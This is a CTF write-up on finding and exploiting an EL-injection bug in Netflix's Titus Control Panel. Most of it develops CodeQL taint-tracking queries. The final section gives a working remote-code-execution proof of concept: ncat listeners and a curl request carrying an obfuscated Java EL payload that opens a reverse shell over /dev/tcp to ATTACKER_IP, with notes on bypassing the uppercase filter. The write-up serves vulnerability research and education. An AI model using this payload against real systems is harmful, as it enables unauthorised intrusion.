It was one heck of a challenge, I got to learn a hell lot and that's what matters the most :)
EDIT: Got the 2nd prize! Woohoo!!
The Github Security team found a SSTI RCE bug in Netflix's Container Management Platform, Titus Control Panel and this CTF is modelled upon how one can find it and other similar bugs.
Find the CTF here and this report is a summary of how I dealt with all the steps.
For explaining Step 1-3 I'll be giving the relevant, commented portion of the query for each step. A brief explanation will be there if needed.
All the raw queries that I developed sequentially while solving the steps are available in codeql/ (One may find an easter egg or two there).
predicate isSource(DataFlow::Node source) {
exists(Method overriding, Method overridden|
// the isValid we are looking for should be an overriding method
overriding.overrides(overridden) and
// the method which is overridden should match the pattern
overridden.getQualifiedName().matches("ConstraintValidator<%,%>.isValid") and
// source would be the first parameter of the overriding method
source.asParameter() = overriding.getParameter(0)
)
}
Quick Eval gives-
predicate isSink(DataFlow::Node sink) {
exists(Call c|
// first argument of the call will be sink
c.getArgument(0) = sink.asExpr() and
// the calls of this function are the ones we're interested in
c.getCallee().getQualifiedName() = "ConstraintValidatorContext.buildConstraintViolationWithTemplate"
)
}
Quick Eval Gives-
/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
class ELInjectionTaintTrackingConfig extends TaintTracking::Configuration {
ELInjectionTaintTrackingConfig() { this = "ELInjectionTaintTrackingConfig" }
override predicate isSource(DataFlow::Node source) { ... }
override predicate isSink(DataFlow::Node sink) { ... }
}
from ELInjectionTaintTrackingConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"
Running Query gives-
:(
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PartialPathGraph // this is different!
class ELInjectionTaintTrackingConfig extends TaintTracking::Configuration {
ELInjectionTaintTrackingConfig() { this = "ELInjectionTaintTrackingConfig" } // same as before
override predicate isSource(DataFlow::Node source) // same as before
{ ... }
override predicate isSink(DataFlow::Node sink) // same as before
{ ... }
override int explorationLimit() { result = 10} // this is different!
}
from ELInjectionTaintTrackingConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink
where
cfg.hasPartialFlow(source, sink, _) and
exists(Method m|
// The function whose first parameter will be our source for partial flow checking
m.getQualifiedName() = "SchedulingConstraintSetValidator.isValid" and
source.getNode().asParameter() = m.getParameter(0)
)
select sink, source, sink, "Partial flow from unsanitized user data"
Running Query gives-
This step requires me to talk!?!?!
So be it ¯\_(ツ)_/¯
The first 4 results in the previous step concern us, so lets have a look at them-
It can be seen that taint doesn't propagate through methods getHardConstraints
and getSoftConstraints
and my sixth sense says that the same would happen for keySet
Now that I've found the beast, It is time to kill it!
So I added the required step
predicate to both my normal flow tracking query and partial flow tacking query-
class CustomAdditionalStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node node1, DataFlow::Node node2) {
exists(MethodAccess ma, Callable c |
// spreead taint from the method access' qualifier
node1.asExpr() = ma.getQualifier() and
// to the method access
node2.asExpr() = ma and
c = ma.getCallee() and
// if
(
(
// method accessed belongs to these
c.getQualifiedName() in ["Container.getSoftConstraints", "Container.getHardConstraints"]
// or
) or
(
// the accessed method's name belong in these
c.getName() in ["keySet"] and
// add the class which declares it inherts from this
c.getDeclaringType().getASupertype().getQualifiedName().matches("java.util.Map<%>")
)
)
)
}
}
Running Normal Flow Query-
:(
Running Partial Flow Query-
:)
The 4 new Locations-
Now we can see that the taint doesn't flow through HashSet
's constructor so it is time to extend the step
predicate-
class CustomAdditionalStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node node1, DataFlow::Node node2) {
//spread taint from
exists( ... )
or
exists(ConstructorCall cc |
// a constructor call's argument
node1.asExpr() = cc.getAnArgument() and
// to the constructor call
node2.asExpr() = cc and
// if the type constructed matches
cc.getConstructedType().getName().matches("HashSet<%>")
)
}
}
Running Query-
5 new results :)
Though by now I am tired of taking these location screenshots and editing them togetherm so here is the location that matters to us-
Hence the taint is indeed spreading to the constructor :)
So here is the overview of the query-
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
class CustomAdditionalStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node node1, DataFlow::Node node2) { ... }
}
class ELInjectionTaintTrackingConfig extends TaintTracking::Configuration {
ELInjectionTaintTrackingConfig() { this = "ELInjectionTaintTrackingConfig" }
override predicate isSource(DataFlow::Node source) { ... }
override predicate isSink(DataFlow::Node sink) { ... }
}
from ELInjectionTaintTrackingConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"
Find the full query here
Running query-
Location-
Woohoo game's over, pack up time mates!
...or so I thought :'(
So I am supposed to look for a similar issue in SchedulingConstraintValidator.java
. Lets have a look at the isValid
method in this file
So it seems like there are a few more functions to allow the tain to pass through, namely- stream
, map
, collect
and theoretically that should be all. Now this should only need editing 1 line and commenting another in the previous query!
Let me try showing what a diff between the 2 queries would look like-
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
class CustomAdditionalStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node node1, DataFlow::Node node2) {
//spread taint from
exists(
...
(
(
...
) or
(
// it is an access of these methods
- c.getName() in ["keySet"] and
+ c.getName() in ["keySet", "stream", "map", "collect"]
- // from a type which inherits from this type
- c.getDeclaringType().getASupertype().getQualifiedName().matches("java.util.Map<%>")
+ // PS: removed the below line since now we have a lot of functions that belong to different classes and it isn't necessary to get all their types as the query is fast and retains it accuracy
+ // c.getDeclaringType().getASupertype().getQualifiedName().matches("java.util.Map<%>")
)
)
) or
exists( ... )
}
}
class ELInjectionTaintTrackingConfig extends TaintTracking::Configuration {
ELInjectionTaintTrackingConfig() { this = "ELInjectionTaintTrackingConfig" }
override predicate isSource(DataFlow::Node source) { ... }
override predicate isSink(DataFlow::Node sink) { ... }
}
from ELInjectionTaintTrackingConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"
Find the full query here
Running Query-
1 New Location:
This time I remember that there's Step 3.
I added a small thing here which I thought to be fitting-
try {
a.parse(b);
} catch (Exception e) {
sink(e.getMessage())
}
If parse
throws an exception which is caught as e
then step
should spread the taint from both a
and b
to e.getMessage()
as the cause can be a
as well.
For the heuristic to select the method;
My first thought was that the method should return something out of the exception so I went through the docs page for the Exception class and found that these functions could return something useful -getCause
, getLocalisedMessage
, getMessage
, toString
. This is where I also observed something, three of them begin with get
leading to me finding about the GetterMethod
in codeql.
Though the description of GetterMethod
didn't seem promising-
A getter method is a method with the following properties:
- it has no parameters,
- its body contains exactly one statement that returns the value of a field.
It is clear that those 3 methods will be doing some processing than these 3 properties restrict and there is a very very small chance that a custom Exception
would override them to make them a GetterMethod
. I still had a go with it being heuristic and got 0 results :p.
Now here is a recreation of my next thoughts... These "get%" patterned Exception methods do stuff and return it so there ought to be more such patterned methods in the custom exceptions. Basically I took the advantage of the good naming practices people follow while coding in Java :p.
Hence my final Heuristic is-
- The method name should not be
getStackTrace
,getSuppressed
, since they return useless things
AND
(
- The method name should follow the pattern
get%
orGet%
or betoString
OR
- The method should be a
GetterMethod
, though this doesn't gice any results in our case there is still that very very small possibility it might work somewhere, someday.
)
Withough further ado, here is the new class that was added-
class TryCatchAdditionalStep extends TaintTracking::AdditionalTaintStep {
override predicate step(DataFlow::Node node1, DataFlow::Node node2) {
exists(TryStmt ts, CatchClause cc, MethodAccess ma1, MethodAccess ma2, VarAccess va, string methodName, RefType caught|
// spread taint from a variable access
node1.asExpr() = va and
// which lies in a try block,
va.getEnclosingStmt() = ts.getBlock().getAChild() and
// is the qualifier(this is the thing I added :P) or an argument of a method access and
(ma1.getQualifier() = va or ma1.getAnArgument() = va) and
cc = ts.getACatchClause() and
caught = cc.getACaughtType() and
// throws an Exception which is caught by catch block associated with the try block
ma1.getCallee().getAThrownExceptionType().getASupertype*() = caught and
// to a method access
node2.asExpr() = ma2 and
// in that catch clause
ma2.getEnclosingStmt() = cc.getBlock().getAChild() and
// whose qualifier is the caught Exception variable
ma2.getQualifier() = cc.getVariable().getAnAccess() and
methodName = ma2.getCallee().getName() and
// and the method name follows the conditions that
(
not (
// it is not one of these
methodName in ["getStackTrace", "getSuppressed"]
)
) and
(
// and
(
// follows these
methodName.matches("get%") or methodName.matches("Get%") or methodName = "toString"
// or
) or
(
// the method is a GetterMethod(though this has no reason to be here as I explained :/)
ma2.getMethod() instanceof GetterMethod
)
)
)
}
}
Also if you want to try executing this yourselves please run Quick Evaluation on the predicate evalme
in the query file. Running Quick Evaluation on the step
predicate results in both of the overriding step
predicates to be evaluated and will result in A LOT of extra results.
Here's what you'll get if the Quick Evaluation is done correctly-
I didn't manage to complete this sadly :(
But I did find some leads and will be show them
I managed to mark out all such variables in the source which will be validated by a isValid
overriding method(and which method as well) which were found in Step 1.1
So first I read about the ContraintValidation and this tutorial of how to make a custom Validator taught me how it works. Very briefly, A class(lets call it ThatClass
) inherits from ConstraintValidator<A,B>
declares an isValid
method for the Generic's Type arguments. Then somewhere an AnnotationType is defined which has an annotation Constraint
which will have ThatClass.class
value passed in it. On whichever Class/Variable this annotation will be apllied it will be validate by ThatClass.isValid
.
This also describes what my query does-
Variable isSource(DataFlow::Node source) {
exists(Method overriding, Method overridden, RefType rt,
Annotation constraintAnnotation, Annotation interfaceAnnotation,
AnnotationType interfaceAnnotationType, ParameterizedType pt,
Annotatable a, Variable v|
// the isValid we are looking for should be an overriding method
overriding.overrides(overridden) and
// the method which is overridden should match the pattern
overridden.getQualifiedName().matches("ConstraintValidator<%,%>.isValid") and
// source would be the first parameter of the overriding method
source.asParameter() = overriding.getParameter(0) and
// get the RefType of the overriding method's class
rt = overriding.getDeclaringType() and
// get all Constraint Annotations
constraintAnnotation.toString() = "Constraint" and
// Check if that annotation is applied on an AnnotationType
constraintAnnotation = interfaceAnnotationType.getAnAnnotation() and
// get the type of value passed in "validatedBy" field and it is a ParameterizedType
pt = constraintAnnotation.getValue("validatedBy").getAChildExpr().getType() and
// A sanity check to make sure it is a SomeClass.class equiavlent to Class<SomeClass>
pt.getName().matches("Class<%>") and
// Compare the SomeClass to the RefType of overriding method's class,
// hence interfaceAnnotationType would by the the AnnotationType to be
// validated by the overriding method
pt.getATypeArgument() = rt and
// linking AnnotationType to Annotation
interfaceAnnotation.getType() = interfaceAnnotationType and
// Check all Annotables for having the interfaceAnnotation
a.getAnAnnotation() = interfaceAnnotation and
(
(
// if Annotable is a variable
v = a
) or
(
// if Annotable is a type
v.getType() = a
)
) and
// Variable should be from source
v.fromSource() and
// Return all Variables correspoinding to this overriding method
result = v
)
}
Find the full query here
Quick Evaluation-
The issue I faced was that I couldn't connect these variables to a RemoteFlowSource
.
- tried checking if any
VarAccess
of these wasRemoteFlowSource
- tried to setup TaintTracking from any of the
RemoteFlowSources
to the variables
The only possible thing I could see was if these variables were a field of the RemoteFlowSource
s' Classes or perhaps a field in the fields' Classes or perhaps...
So you see the issue, ^ I don't know where to stop :(
To get a shell, you'll need a system with ports 5060, 2222 free(and allowed through firewall). Also DO NOT change the port numbers anywhere as they might interfere with payload logic
Replace the following texts-
- HOST_IP: with host IP Address or domain name
- ATTACKER_IP: with your IP Address or domain name
Now first get on 2 shells on your system and run-
ncat -k -l -p 5060
ncat -k -l -p 2222
(I like ncat, but netcat's cool as well)
Now run this curl request from anywhere and replace HOST_IP and ATTACKER_IP
curl --location --request POST 'HOST_IP:7001/api/v3/jobs' \
--header 'Content-Type: application/json' \
--data-raw '{
"container": {
"softConstraints": {
"constraints": {
"#{'\'''\''.class.class.methods[14].invoke('\'''\''.class.class.methods[0].invoke('\'''\''.class, '\''javax.script.1cript2ngine3anager'\''.replace('\''1'\'', 83).replace('\''2'\'', 69).replace('\''3'\'', 77))).class.methods[1].invoke('\'''\''.class.class.methods[14].invoke('\'''\''.class.class.methods[0].invoke('\'''\''.class, '\''javax.script.1cript2ngine3anager'\''.replace('\''1'\'', 83).replace('\''2'\'', 69).replace('\''3'\'', 77))), '\''js'\'').class.methods[7].invoke('\'''\''.class.class.methods[14].invoke('\'''\''.class.class.methods[0].invoke('\'''\''.class, '\''javax.script.1cript2ngine3anager'\''.replace('\''1'\'', 83).replace('\''2'\'', 69).replace('\''3'\'', 77))).class.methods[1].invoke('\'''\''.class.class.methods[14].invoke('\'''\''.class.class.methods[0].invoke('\'''\''.class, '\''javax.script.1cript2ngine3anager'\''.replace('\''1'\'', 83).replace('\''2'\'', 69).replace('\''3'\'', 77))), '\''js'\''), '\''1'\'').class.methods[3].invoke('\'''\''.class.class.methods[14].invoke('\'''\''.class.class.methods[0].invoke('\'''\''.class, '\''javax.script.1cript2ngine3anager'\''.replace('\''1'\'', 83).replace('\''2'\'', 69).replace('\''3'\'', 77))).class.methods[1].invoke('\'''\''.class.class.methods[14].invoke('\'''\''.class.class.methods[0].invoke('\'''\''.class, '\''javax.script.1cript2ngine3anager'\''.replace('\''1'\'', 83).replace('\''2'\'', 69).replace('\''3'\'', 77))), '\''js'\'').class.methods[7].invoke('\'''\''.class.class.methods[14].invoke('\'''\''.class.class.methods[0].invoke('\'''\''.class, '\''javax.script.1cript2ngine3anager'\''.replace('\''1'\'', 83).replace('\''2'\'', 69).replace('\''3'\'', 77))).class.methods[1].invoke('\'''\''.class.class.methods[14].invoke('\'''\''.class.class.methods[0].invoke('\'''\''.class, '\''javax.script.1cript2ngine3anager'\''.replace('\''1'\'', 83).replace('\''2'\'', 69).replace('\''3'\'', 77))), '\''js'\''), '\''java.lang.8untime.get9untime().exec(\" /bin/bash -c 'sh\</dev/tcp/ATTACKER_IP/5060\>/dev/tcp/ATTACKER_IP/2222' \")'\''.replace('\''8'\'', 82).replace('\''9'\'', 82))) + '\'''\''}": "IWantRickRollHereButIAmScared"
}
}
},
"service": {
"retryPolicy": {
"immediate": {
"retries": 10
}
}
}
}'
Run any sh
command into the 5060
ncat connection
???
Baby Steps- How did I figured this JSON and the endpoint out?
Thanks to netflix, they have a complete API documentation in their titus-api-definitions repository. The CodeQL shenanigans showed vulnerability in the constraint validator of the fields softConstraints
and hardConstraints
of Container class. So, if there's an endpoint that deserializes user controlled Container class, I get one step closer to RCE. One such enpoint is the endpoint that creates jobs using Job Descriptors, which in turn contains a Container - Bingo. All I had to do was to convert this protobuf specification to REST JSON.
Now it is time for me to know more about Java EL Injection and this awesome report on exploit DB taught me all.
After experimenting I observed that only Deferred EL Expressions seem to work and they are rather troublesome to work with. The main problem being-
Deferred evaluation expressions take the form #{expr} and can be evaluated at other phases of a page lifecycle as defined by whatever technology is using the expression.
Oracle Docs
So I cannot use Multiple line payloads...
After trying #{7*7}
weirdly I couldn't get any other testing payload to work, then I struck this-
#{''.class + ''}
and in the output I got-
[class java.lang.String]
So what must have happened is that by default all expressions aren't being evluated but when they are addded with a ''
the toString()
method is called. Similar to how this works-
System.out.println(1 + " one");
Next blocker is that sending UpperCase letters in the payload seems to break everything, probably everything is being converted to lowercase before execution. But there's a workaround for this ~(^◇^)/. To see that let me clean up the relevant part of my payload first.
''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')).class.getBindings.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')), 'js').class.registerEngineMimeType.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')).class.getBindings.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')), 'js'), '1').class.getEngineByExtension.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')).class.getBindings.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')), 'js').class.registerEngineMimeType.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')).class.getBindings.invoke(''.class.class.newInstance.invoke(''.class.class.forName.invoke(''.class, 'javax.script.ScriptEngineManager')), 'js'), 'java.lang.Runtime.getRuntime().exec(\" /bin/bash -c 'sh</dev/tcp/ATTACKER_IP/5060>/dev/tcp/ATTACKER_IP/2222' \")')'
That's a lot of Reflection
Which is a twisted way to run-
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"/bin/bash -c sh</dev/tcp/ATTACKER_IP/5060>/dev/tcp/ATTACKER_IP/2222\\\")"))}'
(this payload was taken from that expoit DB report or this Github security lab report or perhaps both ¯\_(ツ)_/¯ I don't remember)
To deal with the UpperCase issue I came up with 2 solutions-
- For Methods with uppercase letters in their name, I accessed using the
methods
array belonging to any.class
object and usinginvoke
reflection API to run it, eg''.class.class.methods[14]
is used to accessjava.lang.Class.forName(java.lang.String)
. Which method lies at which index? This came in handy in listing all of them-
import java.lang.reflect.*;
public class HelloWorld{
public static void main(String []args){
Class a = Class.class;
for (int i = 0; i< a.getMethods().length; i++)
System.out.println(i + " -> " + a.getMethods()[i] );
}
}
output-
0 -> public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException
...
14 -> public java.lang.Object java.lang.Class.newInstance() throws java.lang.InstantiationException,java.lang.IllegalAccessException
...
- For Strings with uppercase letters, I though of various ways after going through all of the methods the
String
class gives and various Java gimmicks-'aaa'.concat(B)
to append an ascii value or ascii value tyecasted to charaaa\u0042
Escaping Unicode characters'aaa'+(char)66
adding typecasted char directly to string'aaa1'.replace('1', 66)
replacing a dummy value with the ascii value
I spent hell lot of time on the first 3 but the last method, which seems the most absurd, worked... :/
So, these expressions on my payload should start making sense-
'javax.script.1cript2ngine3anager'.replace('1', 83).replace('2', 69).replace('3', 77)
After getting exec()
working I faced another blocker, sh
doesn't give input redirection and piping, and /bin/bash -c "command"
was rejecting spaces in the command
. After some googling and struck gold.
sh</dev/tcp/xxxx.pl/5060>/dev/tcp/xxxx.pl/2222
This gave me an ez RCE as the exec()
process is spawned as an independent process and I could freely communicate with sh
over network :)
Why I need /bin/bash
there you ask?
Of course it won't catch anything on the patched code-